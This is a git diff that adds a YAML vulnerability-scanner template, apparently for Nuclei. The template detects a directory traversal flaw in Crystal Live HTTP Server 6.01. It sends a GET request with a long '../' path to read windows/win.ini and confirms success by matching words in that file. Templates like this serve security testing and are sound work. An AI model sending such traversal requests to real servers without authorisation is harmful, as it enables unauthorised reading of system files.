diff --git a/vulnerabilities/other/crystal-live-server-lfi.yaml b/vulnerabilities/other/crystal-live-server-lfi.yaml new file mode 100644 index 0000000000..8e56585214 --- /dev/null +++ b/vulnerabilities/other/crystal-live-server-lfi.yaml @@ -0,0 +1,22 @@ +id: crystal-live-server-lfi + +info: + name: Crystal Live HTTP Server 6.01 - Directory Traversal + author: 0x_Akoko + severity: high + reference: https://cxsecurity.com/issue/WLB-2019110127 + tags: lfi,crystal + +requests: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" + + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and